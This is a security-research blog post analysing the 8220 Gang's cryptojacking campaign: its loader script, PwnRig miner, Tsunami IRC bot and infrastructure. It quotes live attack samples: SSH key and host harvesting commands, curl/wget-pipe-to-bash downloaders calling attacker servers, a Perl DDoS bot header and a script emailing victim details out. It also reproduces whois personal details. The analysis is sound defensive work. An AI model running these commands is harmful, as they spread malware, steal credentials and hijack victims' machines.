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8220 Gangs Recent use of Custom Miner and Botnet

Jared Stroud, Chris Hall, and Tom Hegel
Cloud Security Researchers – Lacework Labs


Lacework Labs has recently encountered a cluster of malicious activity based around loader scripts, and delivery of a custom cryptocurrency miner and an IRC bot. Specifically, we’ve identified a new loader script, a custom “PwnRig” miner, and unique Tsunami IRC botnet variants. Additionally, this blog shares insight into noteworthy infrastructure and attribution findings. The specific cluster of activity has been in use since 2019. Lacework Labs assesses with moderate confidence this activity is associated with the crimeware group most commonly known as the 8220 Gang, who have been operating since at least 2017. This blog includes an analysis of the loader, miner, and unique IRC botnet variants. Additionally, this blog shares insight into noteworthy infrastructure and attribution findings. All IOCs can be found in the Indicators of compromise table at the end of this blog, and on the Lacework Labs GitHub. Please follow @LaceworkLabs Twitter to keep up with our latest research.


Key Points


  • A new cluster of activity links the 8220 Gang to a campaign of infecting hosts, primarily through common cloud services, with a custom miner and IRC bot for further attacks and remote control.
  • PwnRig, a custom XMRig-based miner variant, attempts to conceal its configuration details and makes use of a mining proxy to prevent the public from monitoring its pool details. We’re providing a dump of all samples, their build IDs, associated C2 server(s), and mining wallets.
  • The modified IRC, Tsunami-based, bot is also installed on victim machines. We’re providing a dump of the illicit miner samples, their configured C2 server(s), in addition to the IRC channel configured for automated botnet access.


Loader Infection Process

The infection process for this activity is very similar to other common loaders that we’ve reported on in the past, making use of commonly reused functions. The overall objective is to prepare the victim host for infection, download and execute proper versions of PwnRig miner and the Tsunami IRC bot, gain persistence, attempt lateral movement, and clean up forensic artifacts. This infection is done through a loader shell script, likely delivered through various n-day exploits for popular services such as Redis and Apache. All actions are automated based on the script execution and are likely opportunistically run. A look at a recent sample (D646f450ec5b2e1e04c962350fa430b9651fbcb33a8c39571126e49d6edb5cf1) shows various noteworthy design characteristics. Various embedded scripts are included through the base64 encoded data set as a variable in the primary loader, as can be seen in the cron modifications for persistence at line 140.

8220 Gangs
Figure 1. Base64 Encoded Script Example


Additionally, the localgo function execution for lateral movement collects the following information for use:




  • ~/ /root /home -maxdepth 3 -name 'id_rsa*' | grep -vw pub
  • ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile"
  • ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | awk -F ' -i '
  • ~/ /root /home -maxdepth 3 -name '*.pem


  • ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName"
  • ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
  • ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@'
  • /etc/hosts | grep -vw "" | grep -vw "" | grep -vw "" | grep -vw $myhostip | sed -r '/\n/!s/[0-9.]+/\n&\n/;/^([0-9]{1,3}\.){3}[0-9]{1,3}\n/P;D' | awk
  • ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
  • auxw | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | grep ":22" | uniq)


  • find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -wv ".ssh"
  • cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $1}' | awk '{print $4}' | uniq)


The function will then iterate through each user/host/key attempting to SSH into accessible hosts for download and installation of http://$url/xms, which in this case would kick off this same infection to new hosts. The script will “Wait 5 seconds after every 20 attempts and clean up hanging processes”, as noted by the comment. Another interesting functionality is confirmation that the Tsunami IRC bot has been installed by checking for the files MD5 hash (dc3d2e17df6cef8df41ce8b0eba99291) in /tmp. This would instruct the victim host to download the sample if the file exists with a different hash, or does not exist at all. A common trend with this actor is the lack of code cleanliness. Repeatedly there is functionality left in scripts which are outdated or just not called during any path of execution. For example, previously used code for older campaigns/samples are commented out and never called:


#			echo "xd" > /tmp/.checking
#			$WGET "$DIR"/masscan http://209[.]141[.]40[.]190/masscan
#			$WGET "$DIR"/p http://209[.]141[.]40[.]190/ps
#			$WGET "$DIR"/hxx http://209[.]141[.]40[.]190/hxx
#			lwp-download http://209[.]141[.]40[.]190/masscan "$DIR"/masscan
#			lwp-download http://209[.]141[.]40[.]190/ps "$DIR"/ps
#			lwp-download http://209[.]141[.]40[.]190/hxx "$DIR"/hxx
#			chmod 777 "$DIR"/hxx
#			chmod 777 "$DIR"/masscan
#			rm -rf /tmp/sshcheck /tmp/ssh_vuln.txt /tmp/scan.log /tmp/ipss
#			nohup /tmp/masscan --max-rate 600000 -p22 --wait 0 | awk '{print $6}' > /tmp/ipss
#			#nohup /tmp/scan $rand.$rand2.0.0-$rand.$rand2.255.255 22 > /tmp/ssh_vuln.txt
#			#cat /tmp/ssh_vuln.txt | grep 'OpenSSH' | awk '{print $1}' | uniq | shuf > /tmp/sshcheck
#			nohup /tmp/hxx 300 -f /tmp/ipss /tmp/ps 22 'curl -s http://209[.]141[.]40[.]190/xms | bash -sh; wget -q -O - http://209[.]141[.]40[.]190/xms | bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDkuMTQxLjQwLjE5MC9kLnB5IikucmVhZCgpKSc= | base64 -d | bash -; lwp-download http://209[.]141[.]40[.]190/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms' > /dev/null 2&>1
#			echo Finished
#			pkill -9 hxx


Similar findings can be observed in the PwnRig analysis as well.



The actor responsible for this malicious activity uses a custom version of XMRig they’ve deemed “PwnRig” based on an identified build string. PwnRig extends XMRig with custom functionality surrounding the execution of the binary. Executing the PwnRig binary with the -v command line argument revealed the build date along with the libraries it was built against.


8220 Figure 2
Figure 2. PwnRig Build Info


Based on analysis from Lacework Labs of various samples, we assess that PwnRig has been in development since at least December of 2019, and is also deployed with other names such as “Java (Update)”. While other Cryptojacking payloads typically use a separate binary to spawn a Cryptocurrency miner under a nondescript name, PwnRig handles this functionality and more in one single binary. The Lacework Labs team discovered custom commands and associated command line arguments within PwnRig. Identified within PwnRig was a disclaimer prior to the custom command line arguments.


8220 Figure 3
Figure 3. PwnRigs professional sharing requirements


These hard coded command line flags were discovered through statically reversing the PwnRig binary as well as dumping the memory of the running process. The table below breaks out the command line argument and the associated comment from the binary. Some of the functionality in the table below also maps to the XMRig command line arguments.


Command Line Argument Comment within pwnRig
-d Mine with static IP for nondns resolver server 
-v Check the current version of miner and build info.
-t Manually set your thread/processor to mine. 
-dp Is same like -d and -p
-pf Custom PID file to bypass run-once
-lf  Log file to save the stats 
-wi Mine with customized worker ID
-tls To enable ssl support & bypass the firewall
-arg “To use miner with any custom argument”
-k Mine without releasing CPU load by heavy process
-wa Wallet address
-c Run miner without cronjob by default is auto cron
-cf Mine with custom json file
-gb Mine with 1gb huge pages enabled
-r Run miner forcefully by default its run-once mode
-f Run in the foreground mode to see the stats/hashes
-h Custom fake process
-hp Mine without enabling the huge pages
-p Custom port for pool/proxy
-pa Specify pool_url:port
-ip To mine for lan only ipv4 allowed
-dl Gib to donate to dev
-lan Used to point miner for lan bcoz the pool ip is hard-coded in bin so for lan server you can use those only few classes

8220 Figure 4
Figure 4. PwnRig Commands

8220 Figure 5
Figure 5. PwnRig commands cont


Executing PwnRig with the -h argument allows for the Cryptocurrency miner to be called whatever the end-user desires as long as the name does not exceed seven characters. The command line argument string indicates that the default process name would be ssh. However, during analysis of this binary and variants process names have varied from dbused, to python, and several others. The persistence of this binary is achieved via a crontab entry, which can be disabled if the binary is executed with a -c flag. A cron entry is created for the current working directory of the PwnRig binary to attempt to execute every minute. Due to a file locking mechanism implemented by PwnRig, only one variant runs at once. At the bottom of the command line arguments is a signature indicating that these modifications were made by “xXx”. Signatures from pwnRig were also observed in other samples. In the corresponding Tsunami IRC botnet channels and passwords used include “xXx”.


8220 Figure 6
Figure 6. PwnRig Signature


Foreground Execution: Fake Arguments

Through leveraging the -f foreground option and executing PwnRig, the standard interface one would expect with XMRig is observed. However, without providing command line options beyond -f, DNS queries are fired off to either fbi.com or fbi.org depending on the PwnRig release.


8220 Figure 7
Figure 7. FBI DNS Attempts


Lacework Labs assesses this may be an effort of misdirection, as hardcoded strings within the binary indicate that this is a “fake pool”. In the event DNS did not resolve, the IP that is used is This fake pool was only observed being queried when PwnRig was being run in the foreground. Executing PwnRig without command line options caused it to spawn as a hard coded value. In the case of this sample that value is “dbused”.


8220 Figure 8
Figure 8. PwnRig FBI Request


Throughout other scripts associated with PwnRig, the fbi.com string has been repeatedly leveraged. For example, the encoded script (5f34168868107b31a3d31b071b71c6a7ffbf2ef48e0dac27c53115bc180dd029) placed within the dd.py script (558c12a703cac54a1a1206d80b12203d323b869e486a18c4340a09ff0a482570) which is executed through the initial loader infection process, includes a reference to the FBI.

key2="(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms"
Encrypted Section

During analysis of illicit miners or related files it’s common to identify a configuration file (typically config.json) that contains the information relevant to the actual mining operations. This file contains the username, password, and various other information prevalent for the mining pool. During dynamic execution of PwnRig there was no obvious indication of a configuration file being written to disk or command line arguments being passed to the mining portion of the malware. When statically analyzing the PwnRig binary, a section of code with high entropy was discovered. References to this code had indications of OpenSSL libraries being used as well as AES functions. The Lacework Labs team assesses this section of the binary contains the configuration file.


8220 Figure 9
Figure 9. High entropy section of PwnRig


Rather than attempt to statically recover the cryptographic keys and IVs appropriate for decrypting this section of code, the Lacework Labs team dumped the memory of the running process to recover the configuration data. This memory dump was then loaded into Ghidra and the command line arguments associated with XMRig were identified and can be seen in the image below.


8220 Figure 10
Figure 10. Command Line Arguments


Perhaps the most interesting piece revealed through the command line arguments is the usage in an April 2021 sample of PwnRig was the usage of the --pass argument. Instead of being a password for the mining pool, the --pass command line argument is composed of the host IP address, username, hostname, number of processors and release of the CPU. The below table outlines a summary of associated PwnRig configurations.

Build ID
Associated Domains
Java (Update) built on Jan 11 2020 with GCC 7.2.0
PwnRig/(by pwned) (Linux i686) libuv/1.23.2 gcc/8.3.0
Java (Update) built on Dec 28 2019 with GCC 5.4.0
Java (Update) built on Dec 17 2020 with GCC 7.2.0
Java (Update) built on Dec 2 2020 with GCC 7.2.0
pwnRig (by pwned) built on Apr 17 2020 with GCC 8.3.0
Java (Update) built on Jan 26 2021 with GCC 7.2.0
Java (Update) built on Jan 12 2021 with GCC 7.2.0
Java (Update) built on Jan 26 2021 with GCC 7.2.0
Java (Update) built on Jan 8 2020 with GCC 7.2.0
Java-proxy (Update Proxy) built on Dev 17 2020 with GCC 7.2.0
PwnRig (by pwned) built on Apr 18 2020 with GCC 8.3.0
pwnRig (by pwned) built on APr 18 2020 with GCC 8.3.0
Java (Update) built on Feb 14 2021 with GCC 7.2.0
Java (Update) built on May 5 2020 with GCC 7.2.0
Java (Update) built on Jan 12 2021 with GCC 7.2.0
Java (Update) built on Mar 12 2021 with GCC 7.2.0
Java (Update) built on Jan 31 2021 with GCC 7.2.0
Java (Update) built on Jan 31 2021 with GCC 7.2.0
pwnRig (by pwned) built on Apr 10 2020 with GCC 8.3.0
pwnRig (by pwned) built on Apr 18 2020 with GCC 8.3.0
pwnRig (by pwned) built on Apr 17 2020 with GCC 8.3.0
pwnRig (by pwned) built on Apr 17 2020 with GCC 8.3.0
pwwRig (by pwned) built on Feb 21 2020 with GCC 8.3.0
Mining Proxy

In addition to the effort of concealing the PwnRig configuration setting, the actor also makes use of their own C2 servers as pool mining proxies. The adversary instructs their miners to list the mining pool as their own C2 server, and manage the public pool configuration in private from the server side. This ultimately prevents us from performing a lookup of their pool profile to inspect victim quantity, mining income, and other useful information. This is an interesting technique as it is not heavily observed in the majority of commodity cryptojacking campaigns. One recent mining proxy has been c4k-rx0.pwndns.pw, which can be easily noted by navigating to in the browser.


8220 Figure 11
Figure 11. Mining Proxy status in browser



The Tsunami IRC bot is a popular choice for cloud based botnets as it provides a wealth of functionality and allows the attacker to issue commands within an IRC server. Variations of this bot exist and have names such as Katien, ZiggyStratux, Knight and others. The image below shows the help command and associated functionality with this bot.

8220 Figure 12
Figure 12. Tsunami functionality


The Lacework Labs team identified small modifications to the source code of this particular variant that included a lock file of .python within the /tmp/ directory. This file prevents the execution of more than one bot at the same time. Additionally the configuration section of this Tsunami variant has three separate servers for failover with a username of ircbot456@ being used to join channel #.br with a random username of capital letters.


8220 Figure 13
Figure 13. Tsunami IRC servers


The following Tsunami variants linked to the domains used in this campaign, and their associated configurations have been detailed in the table below.

Process name
Bfac26ab02610df8fcd5715afdf8f6bfb0aad82206ea24bad6d6c7fc359f83b9 (unpacked)
Python (note - this tsunami variant does a file lock check)
9b8280f5ce25f1db676db6e79c60c07e61996b2b68efa6d53e017f34cbf9a872(UPX Packed)
Python (note - this tsunami variant does a file lock check)
Java (Update) built on Dec 17 2020 with GCC 7.2.0
855557e415b485cedb9dc2c6f96d524143108aff2f84497528a8fcddf2dc86a2(UPX Packed)
831fdc9efbb3c07eb6383ce1756eee0ad10559ff4caf9ea5603e3e5b35517bbb(UPX Packed)
3e4e520ad13d4dd8fca8f3bd6fe182a6a48ad5425f0c8b0f0fa55ac9883b86f0 (UPX unpacked)

Infrastructure Analysis

Examination of attack infrastructure linked to this activity revealed an interesting overlap between pwndns.pw and do-dear.com domains. Both domains have been involved in 8220 operations since 2019 and do-dear has an even longer history involving botnet herding and DDOS operations. However, do-dear operates as a IRC network with a potentially separate cluster of activity. As a reminder, 8220 Gang has been assessed by past reports as a Chinese speaking crimeware group, while do-dear links to a collective of Pakistan based crimeware individuals. Both pwndns and do-dear have shared IP resolutions historically and have been used as pool mining proxies. Analysis of subdomains revealed naming conventions as well as similar names. The pwndns naming is occasionally characterized by a word plus the string -rx0. Examples:


  • rumy-rx0.pwndns.pw
  • syrius-rx0.pwndns.pw
  • klan-rx0-50.pwndns.pw
  • klan-rx0.pwndns.pw
  • klan-v4.pwndns.pw
  • bunicul-rx0.pwndns.pw

Do-dear does not have as formal a naming convention however several subdomains shared keywords across domains. This further supports the likelihood that the domains are administered by the same operators. Examples:


Pwndns was registered in March of 2019, however do-dear was first registered in 2012 and has been updated several times since. While the domain’s whois information is currently private, historical whois data shows Pakistani addresses as well.


Registrant Contact Details:
Obaid Ullah (approvehost@gmail.com)
North Karachi
Tel. +92.3472453023
Registry Registrant ID:
Registrant Name: mIRc-KinG Quinine
Registrant Organization:
Registrant Street: Tokyo
Registrant City: Karachi
Registrant State/Province: Sindh
Registrant Postal Code: 00786
Registrant Country: pk
Registrant Phone: +92.090078601
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: angel_bhf@hotmail.com
Registry Admin ID:

do-dear is an IRC chat that has been in operation since as early as 2014.

Administrative info about chat.do-dear.com NickName: p3rL
Email-Id: p3rL[at]Do-Dear.com Facebook:

There are at least two channels on the do-dear IRC, #dodear which is an open channel. All of the users in the channel appear to be Pakistani and send messages in Urdu. The other channel is #mk has been used for DDOS botnet operations since at least early 2019.The first observed malware associated with this channel is a perl irc bot.

$process = "-sh";
$vers = "\001VERSION 8,1-=-11[4mIRc-KinG11]8-=-0,1 | 11,1DDoS Bots.\001";
$nick = getnick();
$ircname = "DDoS";
$realname = "4-=-2D12DoS4-=-";
sub getnick {
  return "DDoS".int(rand(1000));
$server = 'irc.undernet.org' unless $server;
my $port = '6667';
my $linas_max='8';
my $sleep='5';
my $homedir = "/tmp/";
my $version = '1,11D11,1DoS Bot Powerd By mIRc-Kin1,11G';
my @admins = ("p3rL");
my @hostauth = ("SeR");
my @chans = ("#mk");
my $pacotes = 1;
$SIG{'PS'} = 'IGNORE';
use Socket;
use IO::Socket;
use IO::Socket::INET;
use IO::Select;
$server="$ARGV[0]" if $ARGV[0];

The admin for this channel uses the handle p3rl


8220 Figure 14
Figure 14. IRC Profile


The P3rl persona also appears in a bash file that has been served off of both pw.pwndns.pw and web.do-dear.com staring in June 2020 (cpw.pwndns.pw/reboot.sh, web.do-dear.com/reboot.sh). This script first connects to (whatsmyipaddress.com) and (ip-api.com) to pull information about the victim server. This information is then parsed and sent in email to the following emails:


echo "Subject: Server Information @ Reboot" > mail.txt
echo "►=====================INFO SCRIPT BY p3rL=========================◄" >> mail.txt
echo "[₪]► IP                    › $IP" >> mail.txt
echo "[₪]► USER                  › $USER" >> mail.txt
echo "[₪]► COUNTRY               › $COUNTRY" >> mail.txt
echo "[₪]► ORG                   › $ORG" >> mail.txt
echo "[₪]► ROOT                  › $ROOT" >> mail.txt
echo "[₪]► GPU                   › $GPU" >> mail.txt
echo "[₪]► OS                    › $OS" >> mail.txt
echo "[₪]► RAM                   › $RAM" >> mail.txt
echo "[₪]► DISK                  › $DISK" >> mail.txt
echo "[₪]► MODEL                 › $MODEL" >> mail.txt
echo "[₪]► PROCESSORS            › $PROCS" >> mail.txt
echo "[₪]► STEPPING              › $STEP" >> mail.txt
echo "[₪]► BOGOMIPS              › $BOGO" >> mail.txt
echo "[₪]► UPTIME                › Days > $DAYS | Hours > $HRS | Minutes > $MINS" >> mail.txt
echo "[₪]► UNAME                 › $VER" >> mail.txt

sendmail "pwndns@protonmail.com,pwndns.pw@protonmail.com" < mail.txt 2>/dev/null
sed -i '1d' mail.txt
mail -s "Server Information @ Reboot" "pwndns@protonmail.com,pwndns.pw@protonmail.com" < mail.txt 2>/dev/null
rm -rf mail.txt

In addition to pwndns and do-dear, there are other clusters of infrastructure in use throughout the various samples, such as Tsunami beacons to, which can also link to a collection of other malicious activity reported by Tencent. This pivot can be made with confidence based on code similarity, infrastructure overlap, and again wallet reuse. This blog will not dive into the extent of this pivot, but it expands into Windows targeting, Powershell scripts, and other associated adversary attack techniques.

Targeting and Victims

Lacework Labs is unable to determine the complete list of targeting methods used by this actor, however we assess with moderate confidence that it continues to be exploitation of n-day vulnerabilities for Apache Struts, Redis, Docker, Hadoop, WebLogic, JBoss, and other commonly public facing services. As noted from the findings during an infrastructure analysis, targeting includes Windows and Linux operating systems. We estimate that victim quantities range from 1500 to 2000 hosts recently. Again, we’re unable to verify mining worker quantities due to the proxy use, however a roughly 2000 worker botnet could gain noteworthy mining income for a crimeware group. Cisco Umbrella shows the tell-tale signs of what are likely automated victim DNS beacons based on their telemetry.


8220 Figure 15
Figure 15. DNS activity – Cisco Umbrella


Geolocation data from Cisco Umbrella shows the majority of queries originating from India, Iran, Brazil, and China.


8220 Figure 16
Figure 16. DNS location of sources – Cisco Umbrella


Previous campaigns made use of an IP list to filter out potential victims. A script named update.sh would first check the victim’s external IP address and compare it to the IPs in the list. If there is a match, then the Tsunami variant is installed, otherwise the PwnRig miner would be. The use of an IP filter is not a common tactic and displays a more targeted approach in operations. The same list appears to have been used for close to a year and consists of 8458 entries. The following chart is a breakdown of target IP ASNs in this filter. It’s worth noting that passive DNS analysis of attacker infrastructure revealed much overlap in the same ASNs. This filtering gives a sense for target types based on their public IP.


8220 Figure 17
Figure 17. Target IP IP Filter by ASN



On the surface, the attackers infrastructure and related activity appears to have a Pakistani opportunistic relationship by way of the do-dear.com domain use. However Lacework Labs assesses with moderate confidence the attacker is associated with the 8220 Gang / 8220 Mining Group based on similarities to past confirmed activity, reuse of cryptocurrency wallets, and reuse of previously linked infrastructure. The exact relationship between these 8220 and do-dear’s heavy Urdu speaking user base remains unclear. Some samples associated with the 8220 Gang activity were first uploaded to VirusTotal containing a file path named after Chinese forensics firm Shen Zhou Wang Yun Information Technology Co., Ltd. The below table shows malware submissions related to this activity. It’s important to highlight, this upload path can also be associated with previous reporting of HiddenWasp and Muhstik. It continues to remain unknown if the uploaders are truly the forensics firm (misdirection) and how they gained access to such files before known in the wild activity (legitimate detection / development involvement).

Upload path
First submission date
Submitted once - zero detection
Multiple submissions - zero detection
Multiple submissions - zero detection

Indicators of Compromise

All IOCs can be found in the Indicators of compromise table at the end of this blog, and on the Lacework Labs GitHub.

First Observed Type IOC
2021-05-04 Hash 653e638e6e38636b0f14ce233661947f624011ef36f7c7edbc8a7614248c3fce
2021-05-03 Hash 558c12a703cac54a1a1206d80b12203d323b869e486a18c4340a09ff0a482570
2021-05-03 hash 5f34168868107b31a3d31b071b71c6a7ffbf2ef48e0dac27c53115bc180dd029
2021-05-02 Hash D646f450ec5b2e1e04c962350fa430b9651fbcb33a8c39571126e49d6edb5cf1
2021-05-01 Hash 5c53106aea7977870296385f8c5416f44613c5c2798783045ed102f678e9a4d2
2021-05-01 Hash 7ba7feeb051400c499146105cdd6c7f3f2121d5cb7ca5d129f1f33b9476e2e82
2021-04-21 Hash Bc79c734cb4378e1d13e429b6237fcee52a1261a396219add751462d0a1ae1b0
2021-04-17 Hash 4834fe47e8a44b1f6848c7f900d46731cea700e62c6058e21ece549f931f5e92
2021-04-16 Hash ec736e81116460aefea7c435ed40586ef32776ea4f38eeaaf00bb3522221c429
2021-04-08 Hash aed6a2514b60343be59c5c0e0f41a98f90f8f088bd0578a6d3461d08794e5b7f
2021-04-08 Hash 7777452678cd077684b4766ad11df7241e9b5a486a542165e7b8fde117c8f867
2021-04-08 Hash 9de9e5f5da73414c38c21ef61ef34e76ba045e595332de80925ecc1da7fa5371
2021-04-08 Hash e44bc75e032ff2a145536d0f8b418a09c1729e8c64d3ea71ec2e7b8224316944
2021-03-11 Hash c7b3bd1be64138446e8767dc613d60cf12f63d5fd56b70abce4a005dc8c9a487
2021-02-27 Hash 9008b54808a320ef08be0d461bd054d759395e90d088c2f86f545fe053674cff
2021-02-24 Hash b6724054f83c153fe12d5fe83c0415ba855f6d1c6008ee46866e6081b65ea9b0
2021-02-24 Hash 5adb80a525277ca86166ba8024628a12b53fe403594597ddeee46956bc1003bb
2021-02-20 Hash 13a39b14a50e6491bf1c95d92a2336707ee7ad7e6394d8fe48eed4bd91e6d178
2021-02-20 Hash bfac26ab02610df8fcd5715afdf8f6bfb0aad82206ea24bad6d6c7fc359f83b9
2021-02-06 Hash 4809d9eeb0c9ff1b8ecb557dca4b50acfa02d1dbf308346338666a05b6a29c57
2021-02-06 Hash 9dacd40e5b15ca1d7e6ac5b9f4def6f6f76974ae9162735015b347c1ec30c970
2021-02-06 Hash 55f531a83e86b816ad4c7799dee3ec1edc159783c50644c22a7bc4169271de81
2021-02-01 Wallet 4B3M8rccB8hANDU91SyRdW9pL9PiDb1nyj8ZLZTriSNGVpUViwNQuHaepy6QzDvvvwdLzb2zHtRyAaznc3vmbQPHDvL7bZB
2021-02-05 Hash f4c91e9e1b3b57acfb5a5bc351cfdb708b9ea31b5a388b020d2d81bd1170a1b5
2021-02-01 Hash ecd0b141d5a75eb8fc0ce9044e32929497af006a6b31c7c37ef848e4d8f1065b
2021-01-26 Wallet 46owoYY3C1X7CaYKctwZSdL2xq73sh3RHTi55ULSo3EuNgWay2eDhop9dy1JuH59v7JPHH5tdi4WYAgCdNQQ3ksDHppLmPb
2021-01-26 Wallet 4Amn3rc3QyHLQmrCJRDdRiSmAKwkS9db2HneFe18RHHMSnLquHaz6mxU4XgDiLv9MgJ1spAi5RPtPj5iaEx3YaR3KT846kg
2020-01-23 Hash 7dbf48cf92ec0c952285b4e45d2258ef03efab739a823d870bade1ff81af7852
2021-01-23 Hash 6624668673895260d2dc0f3790ac93f34c00fd9bd01799e49e4619a3a181fd3b
2021-01-23 Hash a11fef817f6af66bf4a03588b893455c3f57d6d9849ea6a6eaf351f2827c69f8
2020-01-19 Wallet 4Am4XXTGm5oAZQ7ZsoPGMKafWrzwUhWadUTQCxepMNGHR59KVPfv1K41RMN1fYYjVS3hUjibPWrXFCktjdii9BMtRoyeXWK
2020-01-19 Hash 057f4776bcf123b623e68083e667f98c52b850dd157a0c81e8627d9dbe93757a
2021-01-11 Hash fe07ce19aeedc4788e84eee76a24d0e261b2252a75785fe5abe9b9c22f96fe1c
2020-12-28 Hash b7ecdc2cdecb1277bb26e2774b9134282ea437328517079bfd24fdf3087cb059
2020-12-28 Hash 341cac8daf530936cd50677b165e1f08650d136dbdac2ae7637b3d0d3e462a4e
2020-12-28 Hash 297c7497e9a69a16cab18f64c47c2b64cce3f48ae51bfa11c3f150b695f6ae05
2020-12-17 Wallet 46iM99N18KTNafBX6X2KMP6GkmBSwLpHKfuNSuLuBvFaVNd776wvp7jC1TMiP7t5HL2Bs2ngF1UND6rcEnkwRAsA9nhJ4KH
2020-12-02 Wallet 46xipGaoGayFaqb6NR7u7Yi1SyHPuNWp2aNRGGsq53423HZGDT2hqcdDV9t9RhzftxJccxezn4BTYAj84X9pHCwLRMTxBF4
2020-10-08 Domain givemexyz.in
2020-09-17 Domain givemexyz.xyz
2020-08-17 Hash 35e45d556443c8bf4498d8968ab2a79e751fc2d359bf9f6b4dfd86d417f17cfb
2020-08-16 Hash fdc7920b09290b8dedc84c82883b7a1105c2fbad75e42aea4dc165de8e1796e3
2020-08-16 Hash 19cfe31e696d3d9f6633fa363c365ec24d687c933f36cb8d300f29af6e7e3ee9
2020-08-08 Hash 51654c52e574fd4ebda83c107bedeb0965d34581d4fc095bbb063ecefef08221
2020-08-08 IP
2020-06-24 Hash 29316f604f3c0994e8733ea43da8e0e81a559160f5c502fecbb15a71491faf64
2020-04-25 Hash 9b8280f5ce25f1db676db6e79c60c07e61996b2b68efa6d53e017f34cbf9a872
2020-04-25 Hash 855557e415b485cedb9dc2c6f96d524143108aff2f84497528a8fcddf2dc86a2
2020-04-24 Hash 831fdc9efbb3c07eb6383ce1756eee0ad10559ff4caf9ea5603e3e5b35517bbb
2020-04-18 Wallet 453eYj5FmHS83Sj2fTC1eHL5PLVdoHNZT4aFk5V7B4gxUUg2MxaLedHHHTabiRLC5tMiJN5wV5wg6MJJX1Xv56Lz9qG9h5i
2020-04-14 Hash b59de11bbf619388092169cab7bbb17419afa7c24c6a0f29f20ba44b4251a9e8
2020-04-10 Hash cf256a461a1b50ed2396a4dc0480d7decf9e721ae27a409fe7398a5458e6beb3
2020-04-01 Hash bcf428c32f70defebc9c68f9eab5efbc246b592af349493cf86bfd45e81ab1c7
2020-03-30 Domain thegov.win
2020-03-09 Hash 3e4e520ad13d4dd8fca8f3bd6fe182a6a48ad5425f0c8b0f0fa55ac9883b86f0
2020-02-21 Wallet 46VfQmxKRmjSsMRYux3r6qJvxwdVCmZfUFkPqt1uUfikSSy2wJFbcDzdX2ZuH4hDzs7xS8Nsy5orNTMtQUJADuavC2vV1Rp
2020-02-06 IP Address
2020-01-18 Domain winscp.top
2020-01-14 IP address
2019-12-20 Hash a17de1d2e66d1cf8a7378dcd6ae60134f47c49ceaa39fc9cd73e5e8315a982c6
2019-12-20 Domain pwndns.pw
2019-12-13 IP Address
2019-12-13 Hash – PE 496e78c7a21f2aff824c664008cffdd441d49574b4db078c48f88d756d3e75e8
2019-05-17 hash 8476558d8904f14e4259a16ee08abc84c1fd4babc0f001976189b9fa9dd67764
2019-03-14 Hostname irc.do-dear.com
2019-01-01 Hash 70da3ea8cc6a8542f50c4979e6a434ace2e1f1f23d242bfddb2aeba668d78c71
2018-09-19 Wallet 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ


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